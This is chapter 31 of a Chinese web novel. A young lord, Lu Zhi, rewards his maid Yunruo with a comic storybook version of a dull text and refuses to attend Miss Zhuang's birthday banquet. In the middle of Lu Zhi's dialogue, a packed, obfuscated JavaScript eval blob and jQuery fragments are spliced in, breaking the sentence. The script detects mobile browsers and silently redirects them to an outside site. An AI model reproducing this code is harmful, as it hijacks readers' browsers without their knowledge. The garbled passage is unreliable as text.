31. 话本

    云若用了好几天的时间才哄着自己把手上这本看了大半,本来想歇歇再看,但害怕自己一停下来就不想再看了,她还是硬着头皮继续看。


    陆执今日难得清闲些,他作画放松,看她焉巴巴读书的样子,问她:“很难读吗?”


    云若本想说不难,但是她说不出这违心的话,对她来说是有点难,她点了点头:“世子读起来不难吗?您是如何读的,奴婢怎么才能像世子那样读得又快又好呢?”


    本是想同世子取取经,没想到世子也点头说难。


    “可是奴婢看世子每次都读得很认真,也很顺畅,看上去不像是觉得难的样子。”


    “非也,只是我读了这么多年书,总得装出一副学问颇深的样子不是?”


    云若讶异,世子就这么水灵灵地说出来他聪明的样子都是装出来的?


    陆执觉得自己在教一些不好的事,这不好,他赶紧改口:“非也非也。其实我说的难是指这些书本就无趣,它们还用这么晦涩的写法,而且想着剩下好多本都是如此枯燥无聊,更是让人无欲细读。


    虽然其中的道理还是有益于人立世的,但你刚开始读,没摸清其中行文规律,也就会更艰难一些。不过我要是告诉你,若你看完一本,就会有嘉奖,你是不是就觉得稍稍好些了?”


    “嘉奖?”云若一下就抓到重点,方才的困苦确实没那么强烈了,她眼前一亮,问到:“世子打算给奴婢什么嘉奖?”


    陆执挑眉轻笑:“等你看完手上这本,你就知道了。”


    听陆执这么一说,云若确实觉得头脑蓦地清醒了些,她心里念着嘉奖,继续看了起来。


    她带着莫大的兴致,一口气把余下的那部分读完了。


    合上最后一页,云若兴奋地站起来,对陆执说:“世子,奴婢读完了!”


    闻言,陆执上色的笔一顿,看着她:“这么快?莫不是想骗我的嘉奖?”


    云若认真道:“才不是,世子若不信,现在就可以问奴婢书上的内容,若是用道理答题,奴婢或许还有点生疏,但是内容这些不说熟记,但是还是可以说个十有八九。”


    陆执知道她做任何事都很认真,更别提读书这方面,自然不会不信她。


    他放下笔,绕到最后一排书架,从上面拿下一本看上去有些年头的旧书。


    云若伸长脖子看了好一会儿,见世子从里面拿了本书出来,瞬间又焉了:“世子,您说的嘉奖不会是再来一本吧……”


    陆执用书轻轻拍了下她的额头,“在你心里我如此恶劣?”


    云若没躲,挨了这不痛不痒的一下,她无力地摇了摇头。


    “那些书可不能与我这些书相提并论。”


    即便他这么说,云若还是打不起劲来,她现在有些晕书了,她有气无力反问:“何出此言?”


    陆执看她真是被这些正经的书伤到了,他卖弄关子:“你不是问我读书的窍门,这就是。”


    这下云若有了精神,她去看世子手里拿的是什么书,却见书封并未题字。


    像是对她刚才不在意的表现不满,陆执把书背在身后,不让她看。


    云若也知道世子是在逗她,她也配合地伸出双手向她恭敬讨要,陆执一副这还差不多的神情递给了她。


    “这是什么书?”


    陆执没直说,“你打开看看就知道了。”


    云若带着疑惑翻开了书,才看了个开头,就觉得趣味横生。


    她惊喜地抬头看向陆执。


    “这是?”


    “我寻了好久才得的孤本,且看且珍惜。”


    云若连连点头,抱着书看了起来。


    陆执给她的是一本以她才读完的那本书为拟人主角创作的话本,开头就是被暴杀,死因是它晦涩难懂的措辞和一些无病呻.吟的道理,转生之后死性不改,又入轮回,历经磨难终于洗心革面,飞升成仙的故事。


    其中对这本书的句句指点都说到了她的心坎上,深受其害敢怒不敢言的云若在这里仿佛得到了同道中人的理解,对拟人书的每一次鞭笞都让她看得浑身舒畅。


    同时这话本又保留了书中写得好的一面,还对其进行了趣味的改编,让她以意想不到的方式领悟了其中道理。


    两本书想要表述的主要内容是差不多的,但是方法却大不相同,原书看得云若两眼发直,这话本她却完全可以一气呵成。


    本来她还愁世子考察的时候,她怎么才能从容对答,现在看了这话本,虽然不能像世子作答那样板正,不过基本的道理她还是说得明白的。


    世子果然没有骗她,这确实是嘉奖。


    见她看得津津有味,陆执也就安心继续作画了。


    其实经过前段日子她看那些入门书的情况,陆执就大致猜测她和自己一样,适合这种不算正经门道的方式去理解问题。


    弘文馆的老师教学,一贯喜欢照本宣科,一群老头天天摇头晃脑,虽内里都是有真才实学的,但不都是能把肚子里的墨水用起来的。小时候的他虽然听得进去,但兴致乏乏。


    老师不授课时,他就喜欢在弘文馆的藏书阁里摸索书看,在藏书阁的废书库里意外寻得了这话本。


    他刚拿到的时候,这话本连书封都没有,但就因为如此,他一眼就看到了它有趣的内容,不自觉被吸引,一口气读完了它。


    这话本看起来像是早年间哪位师兄学入魔之后的发泄之作,整个故事构思天马行空,新颖别致,情节环环相扣,行云流水,看似跳脱最后却以一种荒诞的方式把书的道理讲得通透,一切都甚合他心。


    从那以后,陆执便致力于在藏书阁寻宝,把藏书阁看了个遍,还真让他找到了一系列相似的话本,他好好地给每本书缝上了新书封,把它们收藏了起来。


    等他再大点以后,再繁复的道理他一看就能理解,不过这个喜好倒是保留了下来。


    除了话本,陆执还收集了不少不同类型的志怪书籍和野史,他什么书都喜欢看看,才不管它是不是名家大作,他私以为这样才算得上是博览群书。


    每看完一本书,陆执总会有或多或少的收获,这个时候他才明白了什么是开卷有益。


    云若一直抱着书看到晚上,看到最后的“全书完”三个字,她才意犹未尽地合上书。


    她趁热打铁想要问世子还有没有别的相关的书,世子却回绝了她:“自然是有,但得等你原书看了,我才能给你。”


    云若苦了脸,但转念又想,看这些书终归是为了辅佐她的,她不能主次不分,随即作罢,想要看别的,只能是抓紧啃其他古板乏味的书。


    “好了,早些歇息,时候不早了。”


    世子这么一说,云若才发现夜已经很深了,她之前看得太认真,都没感觉。


    伺候世子准备安置,云若想着明日就是庄小姐的生辰了,遂问:“世子,明日庄小姐的生辰宴,您真的不去吗?”


    陆执眼皮都没抬一下,整个人不甚在意:“不去。”


    “为什么?”云若还是觉得世子分明都答应了,出尔反尔可不好,庄小姐满心欢喜盼着世子去,期盼落空了,庄小姐该会多难过。


    她心里这么想着,也这么说了出来:“您答应了又不去,庄小姐应该会伤心的。”


    陆执听她话里共情庄月淮,心道她倒是会心疼人。


    “你在杜姨娘面前都能以权宜之计应下,怎么到我这就不行了?”


    这怎么突然扯到杜姨娘身上了,两件事也没什么关联,世子怎么还惦记那事,世子莫不是小心眼记仇吧?


    云若有点底气不足:“这两桩事不能相提并论吧?”


    陆执脱下外袍自己搭在屏风上。


    “为何不可?我本就不欲前去,只是当下那般情境,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243324|163712||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我若不先应下,哪里能这么快脱身?”


    陆执坐在床边,云若要去给他脱鞋,被陆执拦住。


    “知道客套话吗?”


    云若退开,站在一旁看他自己脱鞋,她点了点头,接着问:“那明日庄小姐的生辰礼世子打算怎么办?”


    听语气满腹疑问,但她眼里闪过一丝狡黠,好心为主子解难:“不如奴婢替世子去给庄小姐送礼?”


    陆执抬眸看她,说来说去,是她自己想去凑热闹,也不管会不会搭上他。


    陆执直截了当拒了她:“不劳烦你了,右安会去。”


    算盘落空,云若还想争取一下:“不劳烦不劳烦,不如奴婢和右安一起去,这样右安拿不动了,奴婢也可帮帮忙。”


    “那也不必,一个小盒子,右安不至于拿不动。”陆执坐上床,拉过被子,佯装要睡,想把这个烦人的小东西赶走,可她还要凑上来。


    “一个小盒子?世子打算送庄小姐什么,一个小盒子就够装吗?”


    这怎么句句不离庄月淮!


    陆执不答反问:“你怎么老是操心别人的生辰,怎么不操心操心我的生辰?”


    陆执这一下把云若问住了,她转了转脑筋,问他:“世子也要过生辰了吗?”


    见终于不提别人了,陆执心满意足,轻飘飘回了句:“不是,我是三月初九。”


    “那还有这么久,世子着什么急。”


    这还有四个多月,世子就提自己的生辰,想起那天左行说的话,云若心想,难道世子虽然身份尊贵,但是没能好好过个生辰?可她又觉得不该。


    “我不急,就是想让你心里先有个数,别到时候忘了。那你呢,你是什么时候?”


    世子这么一问,她才想起来,她的生辰也不远了。


    云若回他:“腊月二十四,就在除夕的前几天。”


    确实离除夕近。陆执哦了一声,没再说话,他突然静默,云若也不知道该说什么,两个人就这么四目相对。


    陆执被窝都捂热了,看人还呆呆地站在他床边玩着手指。


    “怎么还不退下?”陆执顿了一下,拍了拍自己的身侧,意味深长,“还是说你想躺下?”


    话音刚落,人马上动了起来,行礼、吹灯、回房,话都不敢多说一句。


    陆执轻笑,反思着下次他应该直接把人拉过来,不给她逃跑的机会。


    翌日,右安一早就拿着提前准备好的贺礼去了丞相府。


    栖梧院,庄月淮寝居。


    “小姐。”


    采宁在外踌躇了半晌,见时候实在不早了,这才敢进来。


    “鹤回哥哥来了吗?”还在镜前梳妆的庄月淮见到她,欣喜问道。


    采宁摇了摇头。


    庄月淮的笑意凝滞。


    采宁连忙解释:“世子并不是有意不来,只是他院子里的管事来送礼的时候,说世子前几天就感了风寒,这两天愈发严重,还有发热的趋势,这才不敢前来,怕过了病气给小姐。”


    听闻陆执生病,庄月淮有些担忧:“世子病得如此严重吗?本以为……”


    “小姐别伤心,世子虽然没来,但还是记挂您的。他派人送来贺礼,正是这难得的百年冰蚕丝,以它做弦配上您的听梧,最合适不过了。”


    采宁特意把世子的这份贺礼带来,为的就是安抚自家小姐。


    庄月淮接过精巧的锦盒,打开盖子,果然是她寻了好久也没寻到几根的冰蚕丝,没想到他却直接送了她两副。


    上次未曾抚琴他也注意到她琴弦用得久了,还知道她在寻此弦,想来他心里还是有她的。


    只是人没来,她终究还是有点难过的。


    见庄月淮没有太过伤情,采宁这才开口:“那小姐,我们先出去吧,各家公子小姐都已经到齐了。”


    庄月淮敛去失意,起身前去赴宴。